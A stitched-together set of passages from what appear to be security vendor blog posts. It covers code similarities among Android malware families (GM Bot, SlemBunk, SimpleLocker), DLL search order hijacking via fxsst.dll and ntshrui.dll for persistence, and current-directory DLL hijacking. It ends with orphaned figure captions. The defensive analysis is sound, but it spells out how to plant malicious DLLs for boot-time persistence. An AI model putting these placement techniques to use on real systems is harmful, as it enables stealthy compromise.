overlaid on top of that of the victim app. The only difference here is
also on the naming of the runnable thread. Class “d” in GM Bot and
class “MainService$2” in SlemBunk are employed respectively to conduct
the same credential phishing task.
Figure 4. Class MainService for GM Bot
and SlemBunk
In summary, our investigation into the binary code similarities
supports IBM’s assertion that GM Bot and SlemBunk share the same origin.
SimpleLocker and SlemBunk
IBM noted that GM Bot emerged in late 2014 in the Russian-speaking
cybercrime underground. In our research, we noticed that an earlier
piece of Android malware named SimpleLocker also has a code structure
similar to SlemBunk and GM Bot. However, SimpleLocker has a different
financial incentive: to demand a ransom from the victim. After landing
on an Android device, SimpleLocker scans the device for certain file
types, encrypts them, and then demands a ransom from the user in order
to decrypt the files. Before SimpleLocker’s emergence, there were
other types of Android ransomware that would lock the screen; however,
SimpleLocker is believed to be the first file-encryption ransomware on Android.
The earliest report on SimpleLocker we identified was published by
ESET in June 2014 [6].
However, we found an earlier sample in our malware database from May
2014 (SHA256
edff7bb1d351eafbe2b4af1242d11faf7262b87dfc619e977d2af482453b16cb). The
compile date of this app was May 20, 2014. We compared this
SimpleLocker sample to one of our SlemBunk samples (SHA256
f3341fc8d7248b3d4e58a3ee87e4e675b5f6fc37f28644a2c6ca9c4d11c92b96)
using the same methods used to compare GM Bot and SlemBunk.
Figure 5 shows the code structure comparison between these two
samples. Note that this SimpleLocker variant also has the major
components ServiceStarter and MainService, both used by
SlemBunk. However, the purpose of the main service here is not to
monitor running apps and provide phishing UIs to steal banking
credentials. Instead, SimpleLocker’s main service component scans the
device for victim files and calls the file encryption class to encrypt
files and demand a ransom. The major differences in the SimpleLocker
code are shown in the red boxes: AesCrypt and FileEncryptor. Other
common classes include:
Main, the launching activity of both samples.
SDCardServiceStarter, another receiver that monitors
the status of MainService and restarts it when it dies.
Tor and OnionKit, third-party libraries for
private communication.
TorSender, HttpSender and Utils,
supporting classes to provide code for CnC communication and for
collecting device information.
Figure 5. Code structure comparison between
SimpleLocker and SlemBunk samples
Finally, we located another SimpleLocker sample (SHA256
304efc1f0b5b8c6c711c03a13d5d8b90755cec00cac1218a7a4a22b091ffb30b) from
July 2014, about two months after the first SimpleLocker sample. This
new sample did not use Tor for private communications, but shared four
of the five major components as the SlemBunk sample (SHA256:
f3341fc8d7248b3d4e58a3ee87e4e675b5f6fc37f28644a2c6ca9c4d11c92b96).
Figure 6 shows the code structure comparison between these two samples.
Figure 6. Code structure comparison between
SimpleLocker and SlemBunk variants
As we can see in Figure 6, the new SimpleLocker sample used a
packaging mechanism similar to SlemBunk, putting HttpSender and
Utils into a sub-package named “utils”. It also added two other
major components that were originally only seen in SlemBunk:
MessageReceiver and MyDeviceAdminReceiver. In total,
this SimpleLocker variant shares four out of five major components
with SlemBunk.
Figure 7 shows the major code of MessageReceiver in the
previous samples to demonstrate that SimpleLocker and SlemBunk use
basically the same process and logic to communicate with the CnC
server. First, class MessageReceiver registers itself to handle
incoming short messages, whose arrival will trigger its method
onReceive. As seen from the figure, the main logics here are
basically the same for SimpleLocker and SlemBunk. They first read the
value of a particular key from app preferences. Note that the names
for the key and shared preference are the same for these two different
malware families: key is named “CHECKING_NUMBER_DONE” and preference
named “AppPrefs”. The following steps call method
retrieveMessage to retrieve the short messages, and then
forward the control flow to class SmsProcessor. The only
difference here is that SimpleLocker adds one extra method named
processControlCommand to forward control flow.
Class SmsProcessor defines the CnC commands supported by the
malware families. Looking into class SmsProcessor, we
identified more evidence that SimpleLocker and SlemBunk are of the
same origin. First, the CnC commands supported by SimpleLocker are
actually a subset of those supported by SlemBunk. In SimpleLocker, CnC
commands include "intercept_sms_start",
"intercept_sms_stop", "control_number" and
"send_sms", all of which are also present in SlemBunk
sample. What is more, in both SimpleLocker and SlemBunk there is a
common prefix “#” before the actual CnC command. This kind of
peculiarity is a good indicator that SimpleLocker and SlemBunk share a
common origin.
Figure 7. Class MessageReceiver for
SimpleLocker and SlemBunk variants
The task of class MyDeviceAdminReceiver is to request device
administrator privilege, which makes these malware families harder to
remove. SimpleLocker and SlemBunk are also highly similar in this
respect, supporting the same set of device admin relevant functionalities.
At this point, we can see that these variants of SimpleLocker and
SlemBunk share four out of five major components and share the same
supporting utilities. The only difference is in the final payload,
with SlemBunk phishing for banking credentials while SimpleLocker
encrypts certain files and demands ransom. This leads us to believe
that SimpleLocker came from the same original code base as SlemBunk.
Conclusion
Our analysis confirms that several Android malware families share a
common origin, and that the first known file-encrypting ransomware for
Android – SimpleLocker – is based on the same code as several banking
trojans. Additional research may identify other related malware families.
Individual developers in the cybercrime underground have been
proficient in writing and customizing malware. As we have shown,
malware with specific and varied purposes can be built on a large base
of shared code used for common functions such as gaining
administrative privileges, starting and restarting services, and CnC
communications. This is apparent simply from looking at known samples
related to GM Bot – from SimpleLocker that is used for encryption and
ransomware, to SlemBunk that is used as a banking Trojan and for
credential theft, to the full-featured MazarBot backdoor.
With the leak of the GM Bot source code, the number of customized
Android malware families based on this code will certainly increase.
Binary code-based study, one of FireEye Labs’ major research tools,
can help us better characterize and track malware families and their
relationships, even without direct access to the source code.
Fortunately, the similarities across these malware families make them
easier to identify, ensuring that FireEye customers are well protected.
If you deal with the same threats that Mandiant does, you may have
noticed a lot of malware lately named "fxsst.dll". If you're
wondering why this is happening, this article is for you.
When I spend time working solely on reverse engineering malware,
I don't often get the whole story with a malware sample. I wasn't
curious about the name
fxsst.dll until we had a plump stack of malware samples in
our library that all had this name and were completely unrelated to
each other. A quick check with our incident responders confirmed
that in my latest specimen the malware was operational and the
persistence mechanism was not immediately apparent. It gave me a
flashback of ntshrui.dll from last year
and I decided to investigate the issue.
If you try a quick
Google search, you will find that
fxsst.dll is a legitimate system DLL, specifically the fax
server. The DLL is found on most systems that were installed with
default settings, though it is an optional feature during the
operating system installation process. It resides in the System32 folder, and a search
for the DLL on a live system with Process Explorer shows that it is
loaded inside the Explorer.exe process. At this
point it sounds very similar to the ntshrui.dll problem, but we'll
keep digging.
I found that my malware analysis VM did not
contain fxsst.dll so I
placed a malware DLL of this name in the System32 folder and rebooted.
The malware was loaded by Explorer.exe upon reboot. Unlike
ntshrui.dll though,
there is no mention of fxsst.dll anywhere in the
Registry. A string search through Explorer.exe reveals that it is
also not loaded directly by the program through its import table or
dynamically with LoadLibrary(). A complete search
for fxsst.dll through all
files revealed it to be referenced by the file stobject.dll in the System32 folder.
Stobject.dll is the System
Tray component of the Windows Shell (the tray at the bottom right of
your screen). It is loaded by Explorer.exe as an In-Process
Server (InprocServer in Windows lingo) and utilized through a COM
interface. It is referenced in the Registry as shown below.
With the mystery
of stobject.dll solved, we
can focus on how it loads fxsst.dll. We also need to
figure out what a piece of malware must do to successfully replace
the legitimate DLL and still ensure a stable system. The following
is the decompiled fragment of stobject.dll which shows the
loading of fxsst.dll.
According to this
fragment of code if the
fxsst.dll file is found it will be loaded and the two
functions, IsFaxMessage()
and FaxMonitorShutdown()
will be resolved and stored in a pair of global function pointers.
If the DLL is not found, or if the functions were not found within
the DLL, then the global function pointers will be NULL. Let us now
examine how these function pointers are used to see if a NULL
pointer will adversely affect the program.
The IsFaxMessage() function is used
only once, and in the fragment above you can see that the program
checks to see if it is NULL before calling the function. If the
pointer is NULL, then the program just skips this piece of
functionality. The same is the case for FaxMonitorShutdown(). Why does
this matter? If a malware replaces fxsst.dll and is loaded by
Explorer through stobject.dll, then it doesn't
need to implement the fax server function calls. The only
repercussion is that the system can no longer act as a fax server,
but that is a feature I don't think anyone would notice was missing.
The malware authors obviously arrived at the same conclusion.
Since fxsst.dll resides
in the System32 folder, is
not protected by KnownDlls and is loaded by the Explorer.exe process, it is
vulnerable to the same DLL load order hijack as ntshrui.dll. By that I mean you
can place a malicious DLL in the C:WINDOWS folder and it will
load instead of the legitimate copy in System32. You can also just
overwrite the copy in System32 and the user of the
system will not notice. Unlike with ntshrui.dll, the malware
replacing fxsst.dll
doesn't really need to take the extra step of loading the legitimate
copy to restore its important functionality. In this case, the
original functionality is useless to all but the last few people in
the world who still use their Windows computer to receive faxes.
Conclusion (and TL;DR version):
You can take
pretty much any malware DLL, name it fxsst.dll and drop it in C:WINDOWS or the System32 folder and Explorer.exe will load it at
boot time. No hassle, no fuss. There are bound to be more
problematic DLL locations like this, but I'll keep spreading the
word as we find them.
Since my last blog post on the topic of DLL Search Order Hijacking
there has been a lot of community activity in this area. The
purpose of this article is to differentiate the specific hijack
technique I was describing from the one that is currently being
discussed in the media as well as propose my own solution to the
problem.
The internet community took notice of DLL hijacking
when a link to a security advisory was being passed around Twitter
and being discussed by various security industry figureheads. The
advisory was produced by a company named Acros Security and can be
found here: http://www.acros.si/aspr/ASPR-2010-08-18-1-PUB.txt.
I was naturally curious about this as it was published only one
month after my blog post on the topic and sounded at first very
similar. People have been taking this technique and discovering
vulnerabilities in many applications, as is visible in the enormous
spike in activity on exploit-db.com (http://www.exploit-db.com/local/)
on August 24th and 25th.
The key
difference in this technique as opposed to the one I described is
that it relies on a DLL being placed in the Current Working
Directory of the software versus being placed in the Application
Directory. In my post I described the scenario in which almost
every program is vulnerable to DLL Search Order Hijacking when a DLL
can be written to the directory that contains the EXE of the
program. The directory containing the EXE is always the very first
location in the DLL search order (except for KnownDlls) so the
problem is quite wide-spread. This technique makes a great
persistence mechanism for malware but is a poor way to attempt to
get initial code execution on a system.
The
problem currently making headlines comes down to the fact that when
most programs recursively enumerate files, they do so by setting the
current working directory to each directory they find before
examining the files found in that directory. By setting the current
working directory to a location, you expose DLLs found in that
directory to be a part of the DLL search order and in some cases
they will be loaded. The current working directory is fifth in the
DLL search order with SafeDllSearchMode enabled (the default on most
systems these days) and second in the search order otherwise.
Strictly speaking, with a position farther down the chain of DLL
search order it is more difficult to exploit this than if one has
access to the application directory itself. The reason for all the
attention this has received is that many applications will traverse
files across a network share, allowing remote infection by
applications that both set current working directory for file
traversals and have a mechanism where a DLL can be caused to load
based on the file type or contents. The now famous example of this
is the iTunes example from the advisory where iTunes sets the
current working directory to the directory of files it is scanning,
then loads a DLL under some circumstances based on the content of
the files it finds. With current working directory potentially set
to a network share containing a batch of music files, a specifically
named rouge DLL could be loaded by the iTunes application.
This technique is a great way to get initial code
execution on a system but makes a poor malware persistence
mechanism.
Many security vendors have been discussing
solutions to the problem lately. Many recommend loading DLLs by
explicit paths, which is a valid approach. Others have been
pressing Microsoft to alter the behavior of DLL loading within
operating system, which creates a nightmare of backward
compatibility problems.
If setting the current working
directory during file traversal leads to potential vulnerabilities
in some applications, the logical question to ask is do applications
really need to set current working directory to traverse files? The
answer is no. Setting current working directory leads to slightly
simpler recursive code which is why it was chosen in the first
place. All API documentation on the topic of traversing files in a
Win32 environment use this approach, including Microsoft's MSDN
documentation as well as the two Win32 System programming books on
my bookshelf "Windows via C++" and "Windows System
Programming".
When a programmer sets out to write code to
traverse files they will typically not reinvent the wheel and will
most likely use reference code found on the internet or in a book.
This is not a knock on the programmers who use reference code, file
traversal in Win32 is actually somewhat complicated to understand
and implement correctly, especially for the novice programmer.
Reference code leading to vulnerabilities is nothing new. For
example, open any book on making web database front-ends and you'll
probably be writing code that is profoundly vulnerable to SQL
injection.
Traversing files without setting current working
directory involves building full path strings recursively. The
reason this code was mostly likely not chosen to be the reference
implementation of file traversal is that it requires string
manipulation, which can be error-prone and insecure if done
improperly, and requires slightly more code. Let's examine the
pseudo-code for each approach.
Recurse(path) { If path is a file { process_file(path) } Else if path is a directory { Save current directory path with GetCurrentDirectory() SetCurrentDirectory(path) Loop over all directory entries with FindFirstFile("*.*") and FindNextFile() { Recurse(directory entry) } SetCurrentDirectory(saved current directory) } }
In the code above there isn't any string concatenation taking
place. Each time we recurse down a directory we saved our current
directory, changed the directory before recursing, then restored the
current directory when the recursive branch finished. The
vulnerability lies in what specifically happens when your
application does something like process_file() above. If
process_file() for your application could potentially result in a
DLL loading, then the current working directory is set to the
directory of the file you are processing. Thus the operating system
will include this directory in its list of places to look for the
DLL. Let's examine a different high level pseudo-code that won't
leave us vulnerable to this attack.
Recurse(path) { If path is a file { Process_file(path) } Else if path is a directory { Concatenate the path with the wildcard "*" Loop over all directory entries with FindFirstFile(path with wildcard) and FindNextFile() { Concatenate the path with the directory entry name Recurse(new directory entry path) } } }
Pseudo code is great for seeing the big picture but the problem, as
I have stated, is that the skeleton code people grab from reputable
documentation sources which uses the technique that isn't
appropriate for their application. I have written a skeleton file
traversal program which uses the string concatenation technique as
shown here. I've included the same skeleton program that uses the
current working directory approach in case any researcher is curious
to compare. Both the vulnerable and non-vulnerable skeleton file
traversal code can be downloaded here: filetraverse_skeleton_code
For an attacker to maintain a foothold inside your network they
will typically install a piece of backdoor malware on at least one
of your systems. The malware needs to be installed persistently,
meaning that it will remain active in the event of a reboot. Most
persistence techniques on a Microsoft Windows platform involve the
use of the Registry. Notable exceptions include the Startup Folder
and trojanizing system binaries. Examining malware persistence
locations in the Windows Registry and startup locations is a common
technique employed by forensic investigators to identify malware on
a host. Each persistence technique commonly seen today leaves a
forensic footprint which can be easily collected using most forensic
software on the market.
The persistence technique I'll
describe here is special in that it doesn't leave an easy forensic
trail behind. A malware DLL can be made persistent on a Windows
host by simply residing in a specific directory with a specific
name, with no trace evidence in the registry or startup folder and
no modified system binaries. There isn't just one directory
location and DLL filename that are candidate locations for this
persistence mechanism but rather a whole class of candidate
locations exist for any given system. On my laptop (Windows 7
64-bit) there are no less than 1032 such path and DLL name
combinations where a DLL could be placed such that it would
automatically be loaded at some point during my normal boot-up, and
that's just for a 32-bit DLL! If you had a 64-bit malware DLL the
number would be much higher as I have many more 64-bit processes
running at boot time. So how does this work?
DLL Search
Order Hijacking
When an application requests to load a DLL either statically via an
import table in its executable file, or dynamically via the
LoadLibrary() function the operating system will look for the DLL in
a predefined sequence of locations. This sequence is defined in the
MSDN documentation here:
http://msdn.microsoft.com/en-us/library/ms682586(VS.85).aspx.
The most important tidbit of information to take away from that
document is that the first place the application looks for a DLL is
the location of the executable itself. This isn't always the case
though. If the DLL name that is requested is listed in the
"\.KnownDlls" object then it will always load from a fixed
location (the System32 folder). This object is populated at
boot-time using data from the Registry at the following
location:
Microsoft employee Larry Osterman describes this in a blog post (http://blogs.msdn.com/b/larryosterman/archive/2004/07/19/187752.aspx).
He states in the post that the KnownDlls object will be larger in
memory than what is in the Registry key and will be built
recursively from the statically imported DLLs from any DLL listed in
the registry. In the limited testing I've done on Windows XP and
Windows 7 systems, the KnownDlls object in memory is identical to
the list provided by the KnownDLLs registry key.
Casual
browsing of the KnownDlls key will reveal a short list of about
30-35 of the most commonly used DLLs. For example, the low level
networking API DLL "ws2_32.dll" is contained in this list.
Whenever any application attempts to load a DLL named
"ws2_32.dll" it will always load it from the System32
folder because it is listed in this key, regardless of where the
application was launched from. The KnownDlls system provides a thin
layer of security for this small set of crticial DLLs because an
attacker can't simply place a DLL named "ws2_32.dll"
inside a folder containing an application which uses ws2_32.dll and
expect their local copy to be loaded. The KnownDlls system is far
too limited to provide any realistic sense of DLL loading security
though. For example, even though we can guarantee that the copy of
ws2_32.dll that will be loaded will always be the one from system32,
other components loaded when ws2_32.dll is loaded (such as
iphlpapi.dll and mswsock.dll) are not guaranteed because they are
not covered by KnownDlls.
Lets imagine that we had a
legitimate program called update.exe which ran from the location
"C:Program FilesMyCompany" and loaded ws2_32.dll, all we
would have to do to make update.exe load our malware DLL is place
our malware in the "C:Program FilesMyCompany" directory
and give it the name "iphlpapi.dll". When the update.exe
program runs it loads ws2_32.dll, which in turn loads iphlpapi.dll
which it loads from the application directory first before checking
the System32 folder where it legitimately resides. All the malware
author needs to do is make sure their malicious iphlpapi.dll
eventually loads the real thing and the user of the system (and a
forensic analyst most likely) will have no idea that malware has
been loaded.
Real-World Usage
You might have come to the conclusion in reading the description of
the problem above that executables which reside in the System32
folder are not susceptible. If you thought that, you'd be correct.
If you also thought that there is no real practical problem because
all consistent and reliably placed startup binaries exist in the
System32 folder, you'd be incorrect. Case-in-point: Explorer.exe .
Strangely, this binary resides in C:Windows (I assume for historic
reasons). So when explorer.exe launches and it requests a DLL that
is not protected by KnownDlls, the first place the system looks to
find the DLL is the C:Windows directory. Thus far, the most common
place we've found this malware persistence technique being used is
in the location and name "C:Windowsntshrui.dll". The real
ntshrui.dll is located in the System32 folder but since this dll is
loaded by Explorer.exe and not protected by KnownDlls, it's
unfortunately susceptible to DLL search order hijacking.
The
Extent of the Problem
Once you really understand the nature of the problem it may occur
to you that it's a very widespread and pervasive issue. It has
always existed in Windows and will likely exist for the foreseeable
future. To alter the DLL search path mechanism could have severe
backward-compatibility problems for Windows and is most likely not
going to happen due to the high value they have always placed in
compatibility (We love you Raymond Chen!). I've written a program
to identify all locations and filenames that a DLL could be placed
to achieve persistence on a given system. The idea is that you can
run this program on a clean (Gold Image) system and forensically
search for any DLL name listed in the output on a machine you
suspect of being compromised with this method of persistence.
Similar programs may be developed to attempt to identify hijacked
DLLs on a live system. I chose to write this program first however
because its output helps to explain the extent of the problem. I
ran the program on my laptop and it produced output which contained
1032 lines, each describing a location and filename that a DLL could
be placed to be loaded at boot-time by my system. On a clean XP SP2
machine I get 91 locations listed. Here are a few lines from the
output from my laptop:
According to this output, some program that loads when my system
boots (most likely iTunes) attempts to load the DLL named
"CRYPTBASE.DLL" which is commonly found in the System32
folder but an attacker could place a malicious DLL in the iTunes
folder and that would be loaded instead. The program examines
running processes and determines hijackable DLL locations by the
following properties (applied to each loaded dll in every running
process in the system):
The process executable that loaded the DLL is not located in the
System32 folder
The DLL name is not found in the KnownDlls object
The DLL is not found in the same directory as the executable
Any loaded DLL that contains all three properties is
susceptible to being trumped by search order
hijacking.
The tool (compiled and source) to
identify possibly malicious 32-bit DLL locations from a clean system
can be found here.
)
In my Citrix ADC honeypot, CVE-2019-19781 is being probed with attackers reading sensitive credential config files remotely using ../ directory traversal (a variant of this issue). So this is in the wild, active exploitation starting up.
Figure 1: API obfuscation code from a crypto
ransomware sample
Figure 2: Crypto malware setting obfuscated
function pointer from API hash
Figure 3: API redirection code from an Andromeda sample
Figure 4: ApiLogger from iDefense MAP injecting
a data file into a process and examining results in debugger
Figure 5: Open source remote lookup application
Figure 6: Open source IDA Jscript decoding and
resolving API addresses
Figure 7: Decompiler output from the xdata
sample after symbol resolution
Figure 8: small idajs script to remotely resolve
and rename Andromeda API hook stubs
Figure 1: Configuration file that adds new C2
server and forces the data-stealing backdoor to use it
Figure 2: Configuration file that adds TCP
tunnels and records desktop video
Figure 3: Example command polling message
Figure 4: Example command response message
Figure 5: Sample pseudo-HTTP beacon
Figure 6: Binary protocol message format
Figure 7: Timeline of binary protocol versions
Figure 1. Major components of SlemBunk malware family
Figure 2. Code Structure Comparison between GM
Bot and SlemBunk
Figure 3. Method onReceive of
SDCardServiceStarter for GM Bot and SlemBunk
Figure 4. Class MainService for GM Bot
and SlemBunk
Figure 6. Code structure comparison between
SimpleLocker and SlemBunk variants
Figure 7. Class MessageReceiver for
SimpleLocker and SlemBunk variants
